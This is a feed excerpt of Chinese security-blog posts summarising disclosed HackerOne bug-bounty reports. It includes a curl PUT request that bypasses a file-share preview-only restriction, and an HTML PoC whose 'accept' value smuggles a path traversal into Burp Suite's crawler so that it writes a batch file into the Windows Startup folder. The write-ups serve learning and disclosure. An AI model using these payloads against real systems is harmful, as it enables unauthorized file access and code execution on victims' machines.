Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但用户 2 可直接发送 PUT 接口请求：</span></p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin: 10px 0px;overflow: auto;cursor: pointer;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;padding: 0px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);cursor: pointer;border-radius: 5px;"><span leaf="">curl -u user2:pass </span><span style="box-sizing: border-box;color: rgb(152, 195, 121);cursor: pointer;line-height: 26px;"><span leaf="">&#39;<a href="https://SERVER/ocs/v2.php/apps/files_sharing/api/v1/shares/11" target="_blank">https://SERVER/ocs/v2.php/apps/files_sharing/api/v1/shares/11</a>&#39;</span></span><span leaf=""> -X PUT -H </span><span style="box-sizing: border-box;color: rgb(152, 195, 121);cursor: pointer;line-height: 26px;"><span leaf="">&#34;OCS-APIREQUEST: true&#34;</span></span><span leaf=""> -H </span><span style="box-sizing: border-box;color: rgb(152, 195, 121);cursor: pointer;line-height: 26px;"><span leaf="">&#39;Content-Type: application/json&#39;</span></span><span leaf=""> --data-raw </span><span style="box-sizing: border-box;color: rgb(152, 195, 121);cursor: pointer;line-height: 26px;"><span leaf="">&#39;{&#34;permissions&#34;:&#34;17&#34;,&#34;attributes&#34;:&#34;[{\&#34;scope\&#34;:\&#34;permissions\&#34;,\&#34;key\&#34;:\&#34;download\&#34;,\&#34;enabled\&#34;:true}]&#34;}&#39;</span></span></code></pre><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">执行后即可绕过限制，取消安全预览约束，让用户 3 能够直接下载文件。</span></p><p style="text-align: center;" data-pm-slice="2 2 []"><span leaf="">如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款</span></p><p style="text-align: center;" data-pm-slice="2 2 []"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012574" data-ratio="0.5493333333333333" data-s="300,640" data-w="750" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=033161f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYmmVSe19Qj5EMr3X76qdKBrhIIkBlVVyuiaiasseFZ9LqtibyKFk7gXvgTU2C2yEwKLaaqfX0DL3eoH6gTcNLJvDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p><span style="box-sizing: border-box;text-align: center;display: inline-block;height: 38px;line-height: 42px;color: rgb(72, 179, 120);background-position: left center;background-repeat: no-repeat;background-attachment: initial;background-origin: initial;background-clip: initial;background-size: 63px;margin-top: 38px;font-size: 18px;margin-bottom: 10px;"><span leaf="">往期回顾</span></span></p><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497813&amp;idx=1&amp;sn=c778ad6a4bffd7a0a72a900144ea90ca&amp;scene=21#wechat_redirect" textvalue="如何利用ai辅助挖漏洞" data-itemshowtype="0" linktype="text" data-linktype="2">如何利用ai辅助挖漏洞</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497880&amp;idx=1&amp;sn=b9b980464333074216b55ea94c8a743a&amp;scene=21#wechat_redirect" textvalue="如何在移动端抓包-下" data-itemshowtype="0" linktype="text" data-linktype="2">如何在移动端抓包-下</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;h1&#34;,&#34;attributes&#34;:{&#34;id&#34;:&#34;activity-name&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497491&amp;idx=1&amp;sn=a1b00b9a8a54eb96aa3ba8bf23cb7e28&amp;scene=21#wechat_redirect" textvalue="如何绕过签名校验" data-itemshowtype="0" linktype="text" data-linktype="2">如何绕过签名校验</a></span></h1><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495880&amp;idx=1&amp;sn=65d42fbff5e198509e55072674ac5283&amp;chksm=e8a5faabdfd273bd55df8f7db3d644d3102d7382020234741e37ca29e963eace13dd17fcabdd&amp;scene=21#wechat_redirect" textvalue="一款bp神器" data-itemshowtype="0" linktype="text" data-linktype="2">一款bp神器</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496898&amp;idx=1&amp;sn=b6088e20a8b4fc9fbd887b900d8c5247&amp;scene=21#wechat_redirect" textvalue="挖掘有回显ssrf的隐藏payload" data-itemshowtype="0" linktype="text" data-linktype="2">挖掘有回显ssrf的隐藏payload</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495841&amp;idx=1&amp;sn=bbf477afa30391b8072d23469645d026&amp;chksm=e8a5fac2dfd273d42344f18c7c6f0f7a158cca94041c4c4db330c3adf2d1f77f062dcaf6c5e0&amp;scene=21#wechat_redirect" textvalue="ssrf绕过新思路" data-itemshowtype="0" linktype="text" data-linktype="2">ssrf绕过新思路</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496380&amp;idx=1&amp;sn=78c0c4c67821f5ecbe4f3947b567eeec&amp;chksm=e8a5f8dfdfd271c935aeb4444ea7e928c55cb4c823c51f1067f267699d71a1aad086cf203b99&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">一个辅助测试ssrf的工具</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247488819&amp;idx=1&amp;sn=5141f88f3e70b9c97e63a4b68689bf6e&amp;chksm=e8a61f50dfd1964692f93412f122087ac160b743b4532ee0c1e42a83039de62825ebbd066a1e&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">dom-xss精选文章</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487187&amp;idx=1&amp;sn=622438ee6492e4c639ebd8500384ab2f&amp;chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">年度精选文章</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487122&amp;idx=1&amp;sn=32459310408d126aa43240673b8b0846&amp;chksm=e8a604f1dfd18de737769dd512ad4063a3da328117b8a98c4ca9bc5b48af4dcfa397c667f4e3&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">Nuclei权威指南-如何躺赚</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486973&amp;idx=1&amp;sn=6ec419db11ff93d30aa2fbc04d8dbab6&amp;chksm=e8a6079edfd18e88f6236e237837ee0d1101489d52f2abb28532162e2937ec4612f1be52a88f&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试设置功能IV</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试注册功能以及相关Tips</a></span><span style="display: none;line-height: 0px;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">‍</a></span></span></p><h2 data-cacheurl="" data-remoteid="" style="box-sizing: border-box;margin: 30px 0px 15px;color: rgba(0, 0, 0, 0.85);font-weight: 500;cursor: pointer;padding: 0px;background: none center center / 63px no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;justify-content: center;line-height: 1.5em;overflow: unset; text-align: left;text-shadow: none;transform: none;-webkit-box-reflect: unset;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=38417737&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7xtecWUgCRzeKjxrFY3gqZnfNm7ibcg8VmKDL3c2yISdPliaGcWtWW4pLekPRkXjOH6s3Hdy7e5TOJJnwvffakozcPOS7AbowFvjAZTWocWt0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg&#34;);"><span style=" box-sizing: border-box;cursor: pointer;font-size: 18px;color: rgb(72, 179, 120);line-height: 2.4em;letter-spacing: 0em;margin: 38px 0px 10px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;align-items: unset;background: none 0% 0% / auto no-repeat scroll padding-box border-box transparent;box-shadow: none;content: unset;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: 38px;justify-content: unset;overflow: unset;padding: 0px; text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset; "><span leaf="">参考</span></span></h2><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><a href="https://hackerone.com/reports/1724016" target="_blank">https://hackerone.com/reports/1724016</a></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c5836911&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTIzNTM0MA%3D%3D%26mid%3D2247499596%26idx%3D1%26sn%3Da04c4bbc88d90bac16deacf00c5c99dc">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 24 Jun 2026 11:00:00 +0800</pubDate>
    </item>
    <item>
      <title>5000刀的高危burp漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247499590&amp;idx=1&amp;sn=66ec7d040f86ce65103b1c0a5d39a1af</link>
      <description>声明：请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关。最近看到hac</description>
      <content:encoded><![CDATA[<p><span>pippybear</span> <span>2026-06-23 11:00</span> <span style="display: inline-block;">四川</span></p>




  <p>以下文章来源于：安全无界</p>
  <strong>安全无界</strong>
  <p>面向年轻的网络安全爱好者，分享网络安全技术、工具和趋势。</p>



  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b96c012e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F7xtecWUgCRyq7XicXx4tEQASam9qsQe449aBQMhzbgoyhxGFC44aXtGibjD2O1HOL4lQEpvR8JCG6k723emZOSbWkh1SVbxcLMjEBaTRMUuxg%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p data-layout-id="0" style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-weight: bold;">声明：请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关。</span></span></p><p data-layout-id="1" style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.8;margin-bottom: 24px;text-indent: 2em;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">最近看到hackerone上的一篇赏金报告，还挺有意思的，于是记录一下，这种类似的攻击手法其实还挺多的，包括之前的Mozilla VPN、WinRAR，底层原理都是Path Traversal导致的。</span></span></p><div style="color: rgba(0,0,0,0.9);text-align: center;font-size: 17px;font-weight: 400;line-height: 1.8;margin-bottom: 24px;" data-layout-id="2"><p style="text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100002109" data-ratio="0.13484251968503938" data-s="300,640" type="block" data-type="png" data-w="2032" src="https://wechat2rss.xlab.app/img-proxy/?k=66494816&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F72I8gAalpPUZvwia6zoOLxbFdUYjjiciaoU62mSTGPse4k2jf6zIJr4djUkKjkkm8sGPIEBhxADhtibDJUgGUXv4821VGz3iaAzANZ7NW1M3c1NI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></div><p data-layout-id="3" style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.8;margin-bottom: 24px;text-indent: 2em;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">5000刀的赏金，嘎嘎眼馋，废话不多说，直接开始正文。整体看了一下，这个基本漏洞利用链路如下:</span></span></p><blockquote style="font-size: 15px;font-weight: 400;color: rgba(0,0,0,0.55);line-height: 1.8;margin-bottom: 24px;"><p style="font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;"><span leaf="">攻击者控制的网站 → 诱导 Burp Scanner 的 Browser-powered Crawl → Burp在本地创建文件时发生路径穿越 → 任意文件写入 → 最终借助 Windows Startup 机制实现代码执行。</span></p></blockquote><h2 style="font-size: 17px;font-weight: 500;color: #2B77BF;line-height: 1.8;margin-bottom: 24px;" data-layout-id="5"><span leaf="">漏洞POC：</span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="xml"><code><span leaf=""><span class="code-snippet__meta">&lt;!doctype </span><span class="code-snippet__meta"><span class="code-snippet__keyword">html</span></span><span class="code-snippet__meta">&gt;</span></span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">html</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""> <span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">body</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""> <span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">form</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">action</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;/upload&#34;</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">method</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;post&#34;</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">enctype</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;multipart/form-data&#34;</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""> <span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">input</span></span></span></code><br/><code><span leaf=""> <span class="code-snippet__attr">type</span>=<span class="code-snippet__string">&#34;file&#34;</span></span></code><br/><code><span leaf=""> <span class="code-snippet__attr">name</span>=<span class="code-snippet__string">&#34;upload&#34;</span></span></code><br/><code><span leaf=""> <span class="code-snippet__attr">value</span>=<span class="code-snippet__string">&#34;calc.exe&#34;</span></span></code><br/><code><span leaf=""> <span class="code-snippet__attr">accept</span>=<span class="code-snippet__string">&#34;./../../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup/burp_calc.bat&#34;</span>&gt;</span></code><br/><code><span leaf=""> <span class="code-snippet__tag">&lt;</span><span class="code-snippet__tag"><span class="code-snippet__name">button</span></span><span class="code-snippet__tag"><span class="code-snippet__attr">type</span></span><span class="code-snippet__tag">=</span><span class="code-snippet__tag"><span class="code-snippet__string">&#34;submit&#34;</span></span><span class="code-snippet__tag">&gt;</span>Upload<span class="code-snippet__tag">&lt;/</span><span class="code-snippet__tag"><span class="code-snippet__name">button</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""> <span class="code-snippet__tag">&lt;/</span><span class="code-snippet__tag"><span class="code-snippet__name">form</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""> <span class="code-snippet__tag">&lt;/</span><span class="code-snippet__tag"><span class="code-snippet__name">body</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code><span leaf=""><span class="code-snippet__tag">&lt;/</span><span class="code-snippet__tag"><span class="code-snippet__name">html</span></span><span class="code-snippet__tag">&gt;</span></span></code><br/><code></code><br/></pre></p><h2 style="font-size: 17px;font-weight: 500;color: #2B77BF;line-height: 1.8;margin-bottom: 24px;" data-layout-id="7"><span leaf="">漏洞核心原理：</span></h2><p data-layout-id="8" style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.8;margin-bottom: 24px;text-indent: 2em;"><span leaf=""><span textstyle="" style="color: rgb(61, 167, 66);">Browser-powered Crawl 要自动测试文件上传功能，而浏览器必须选择一个真实存在的本地文件。所以 Burp 需要先在本地生成一个临时文件，再模拟用户选择这个文件上传。这个就是漏洞的大前提，核心原因主要是临时文件名的构造存在问题，如下</span><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">。</span></span></p><div style="color: rgba(0,0,0,0.9);text-align: center;font-size: 17px;font-weight: 400;line-height: 1.8;margin-bottom: 24px;" data-layout-id="9"><p style="text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100002110" data-ratio="0.3686746987951807" data-s="300,640" type="block" data-type="png" data-w="830" src="https://wechat2rss.xlab.app/img-proxy/?k=88c4e184&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F72I8gAalpPXW8ogwIUVTsdGwKPPlzuGfHuhS5sAOaCsRkBysNgic4ibhJvmjawvaxTibfJy92kJ90nTb6m3OLT0SXqOvmyHWiaPGlUfL227eLq0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></div><p data-layout-id="10" style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.8;margin-bottom: 24px;text-indent: 2em;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);font-weight: bold;">Burp 的开发者逻辑：</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="cs"><code><span leaf="">accept=<span class="code-snippet__string">&#34;.jpg&#34;</span></span></code><br/><code><span leaf="">↓</span></code><br/><code><span leaf="">提取扩展名</span></code><br/><code><span leaf="">↓</span></code><br/><code><span leaf="">生成 <span class="code-snippet__keyword">file</span>.jpg</span></code><br/></pre></p><p data-layout-id="12" style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.8;margin-bottom: 24px;text-indent: 2em;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);font-weight: bold;">攻击者：</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="ini"><code><span leaf=""><span class="code-snippet__attr">accept</span>=<span class="code-snippet__string">&#34;./../../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup/burp_calc.bat&#34;</span></span></code></pre></p><p data-layout-id="14" style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.8;margin-bottom: 24px;text-indent: 2em;"><span leaf=""><span textstyle="" style="color: rgba(0, 0, 0, 0.9);">Burp看到以 . 开头，于是会认为是合法扩展名，但实际上是../../../../...路径穿越，最终实现写入到攻击者指定的目录。偷个懒，直接使用漏洞报告的截图，哈哈～</span></span></p><div style="color: rgba(0,0,0,0.9);text-align: center;font-size: 17px;font-weight: 400;line-height: 1.8;margin-bottom: 24px;" data-layout-id="15"><p style="text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100002111" data-ratio="0.4650602409638554" data-s="300,640" type="block" data-type="png" data-w="830" src="https://wechat2rss.xlab.app/img-proxy/?k=9d243a84&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F72I8gAalpPWpYicU5hnt4r43997UOQSgQ46BFCj8bn2aXYFNC6ybtjvbho9uicXM3VDa3VNFoDYQ0e4E3XUEaycQNdXKyOAR6MCSrLkl0piasQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></div><div style="color: rgba(0,0,0,0.9);text-align: center;font-size: 17px;font-weight: 400;line-height: 1.8;margin-bottom: 24px;" data-layout-id="16"><p style="text-align: center;font-size: 17px;font-weight: 400;color: rgba(0,0,0,0.9);line-height: 1.8;margin-bottom: 24px;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100002112" data-ratio="0.4530120481927711" data-s="300,640" type="block" data-type="png" data-w="830" src="https://wechat2rss.xlab.app/img-proxy/?k=b2060014&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F72I8gAalpPXnAwchia3WLJKaJ6DYLhfJoSsVILEkMLYcfYmXHp2fP2cgGG98ATlm0wuSCNeAaZJSVZLHGPLvuI5uKwiaC6J27wvib9mcgqogicY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="text-align: center;" data-pm-slice="2 2 []"><span leaf="">如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款</span></p><p style="text-align: center;" data-pm-slice="2 2 []"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012574" data-ratio="0.5493333333333333" data-s="300,640" data-w="750" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=033161f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYmmVSe19Qj5EMr3X76qdKBrhIIkBlVVyuiaiasseFZ9LqtibyKFk7gXvgTU2C2yEwKLaaqfX0DL3eoH6gTcNLJvDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><span leaf="">往期回顾</span><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497813&amp;idx=1&amp;sn=c778ad6a4bffd7a0a72a900144ea90ca&amp;scene=21#wechat_redirect" textvalue="如何利用ai辅助挖漏洞" data-itemshowtype="0" linktype="text" data-linktype="2">如何利用ai辅助挖漏洞</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497880&amp;idx=1&amp;sn=b9b980464333074216b55ea94c8a743a&amp;scene=21#wechat_redirect" textvalue="如何在移动端抓包-下" data-itemshowtype="0" linktype="text" data-linktype="2">如何在移动端抓包-下</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;h1&#34;,&#34;attributes&#34;:{&#34;id&#34;:&#34;activity-name&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497491&amp;idx=1&amp;sn=a1b00b9a8a54eb96aa3ba8bf23cb7e28&amp;scene=21#wechat_redirect" textvalue="如何绕过签名校验" data-itemshowtype="0" linktype="text" data-linktype="2">如何绕过签名校验</a></span></h1><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495880&amp;idx=1&amp;sn=65d42fbff5e198509e55072674ac5283&amp;chksm=e8a5faabdfd273bd55df8f7db3d644d3102d7382020234741e37ca29e963eace13dd17fcabdd&amp;scene=21#wechat_redirect" textvalue="一款bp神器" data-itemshowtype="0" linktype="text" data-linktype="2">一款bp神器</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496898&amp;idx=1&amp;sn=b6088e20a8b4fc9fbd887b900d8c5247&amp;scene=21#wechat_redirect" textvalue="挖掘有回显ssrf的隐藏payload" data-itemshowtype="0" linktype="text" data-linktype="2">挖掘有回显ssrf的隐藏payload</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495841&amp;idx=1&amp;sn=bbf477afa30391b8072d23469645d026&amp;chksm=e8a5fac2dfd273d42344f18c7c6f0f7a158cca94041c4c4db330c3adf2d1f77f062dcaf6c5e0&amp;scene=21#wechat_redirect" textvalue="ssrf绕过新思路" data-itemshowtype="0" linktype="text" data-linktype="2">ssrf绕过新思路</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496380&amp;idx=1&amp;sn=78c0c4c67821f5ecbe4f3947b567eeec&amp;chksm=e8a5f8dfdfd271c935aeb4444ea7e928c55cb4c823c51f1067f267699d71a1aad086cf203b99&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">一个辅助测试ssrf的工具</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247488819&amp;idx=1&amp;sn=5141f88f3e70b9c97e63a4b68689bf6e&amp;chksm=e8a61f50dfd1964692f93412f122087ac160b743b4532ee0c1e42a83039de62825ebbd066a1e&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" 